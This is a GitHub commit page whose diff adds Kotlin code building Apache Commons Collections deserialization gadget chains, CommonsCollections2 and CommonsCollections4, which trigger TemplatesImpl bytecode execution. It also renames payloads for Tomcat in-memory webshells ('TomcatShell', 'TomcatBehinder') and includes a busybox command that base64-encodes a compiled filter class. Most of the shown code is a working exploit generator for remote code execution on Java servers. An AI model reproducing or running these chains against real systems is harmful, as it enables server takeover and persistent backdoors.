-
Notifications
You must be signed in to change notification settings - Fork 1
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
Signed-off-by: XhstormR <[email protected]>
- Loading branch information
Showing
9 changed files
with
87 additions
and
53 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -1 +1 @@ | ||
busybox gzip -9 -c -k FilterImpl.class | busybox base64 | busybox tr -d "\n" > 123.txt | ||
busybox gzip -9 -c -k FilterImpl.class | busybox base64 | busybox tr -d "\n" > FilterImpl.class.txt |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,70 @@ | ||
package com.xhstormr.app | ||
|
||
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter | ||
import java.util.PriorityQueue | ||
import javax.xml.transform.Templates | ||
import org.apache.commons.collections4.Transformer | ||
import org.apache.commons.collections4.comparators.TransformingComparator | ||
import org.apache.commons.collections4.functors.ChainedTransformer | ||
import org.apache.commons.collections4.functors.ConstantTransformer | ||
import org.apache.commons.collections4.functors.InstantiateTransformer | ||
import org.apache.commons.collections4.functors.InvokerTransformer | ||
|
||
enum class Chain { | ||
|
||
CommonsCollections2Chain { | ||
override fun generate(payload: Class<*>): Any { | ||
val templates = Gadgets.createTemplatesImpl(payload) | ||
// mock method name until armed | ||
val transformer = InvokerTransformer<Any, Any>( | ||
"toString", | ||
arrayOfNulls(0), | ||
arrayOfNulls(0) | ||
) | ||
|
||
// create queue with numbers and basic comparator | ||
val queue = PriorityQueue(2, TransformingComparator(transformer)) | ||
// stub data for replacement later | ||
queue.add(1) | ||
queue.add(1) | ||
|
||
// switch method called by comparator | ||
transformer.setFieldValue("iMethodName", "newTransformer") | ||
|
||
// switch contents of queue | ||
val queueArray = queue.getFieldValue("queue") as Array<Any> | ||
queueArray[0] = templates | ||
queueArray[1] = 1 | ||
return queue | ||
} | ||
}, | ||
|
||
CommonsCollections4Chain { | ||
override fun generate(payload: Class<*>): Any { | ||
val templates = Gadgets.createTemplatesImpl(payload) | ||
val constant = ConstantTransformer<Any, Any>(String::class.java) | ||
|
||
// mock method name until armed | ||
var paramTypes: Array<Class<*>> = arrayOf(String::class.java) | ||
var args: Array<Any> = arrayOf("foo") | ||
val instantiate = InstantiateTransformer<Any>(paramTypes, args) | ||
|
||
// grab defensively copied arrays | ||
paramTypes = instantiate.getFieldValue("iParamTypes") as Array<Class<*>> | ||
args = instantiate.getFieldValue("iArgs") as Array<Any> | ||
val chain = ChainedTransformer<Any>(constant as Transformer<Any, Any>, instantiate as Transformer<Any, Any>) | ||
|
||
// create queue with numbers | ||
val queue = PriorityQueue(2, TransformingComparator(chain)) | ||
queue.add(1) | ||
queue.add(1) | ||
|
||
constant.setFieldValue("iConstant", TrAXFilter::class.java) | ||
paramTypes[0] = Templates::class.java | ||
args[0] = templates | ||
return queue | ||
} | ||
}; | ||
|
||
abstract fun generate(payload: Class<*>): Any | ||
} |
33 changes: 0 additions & 33 deletions
33
src/main/kotlin/com/xhstormr/app/CommonsCollections2ObjectPayload.kt
This file was deleted.
Oops, something went wrong.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file was deleted.
Oops, something went wrong.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -1,6 +1,6 @@ | ||
package com.xhstormr.app | ||
|
||
enum class Payload(val clazz: Class<*>) { | ||
CommonsCollections2ForTomcatShell(clazz<TomcatShellFilterTemplatesImpl>()), | ||
CommonsCollections2ForTomcatBehinder(clazz<TomcatBehinderFilterTemplatesImpl>()); | ||
TomcatShell(clazz<TomcatShellFilterTemplatesImpl>()), | ||
TomcatBehinder(clazz<TomcatBehinderFilterTemplatesImpl>()); | ||
} |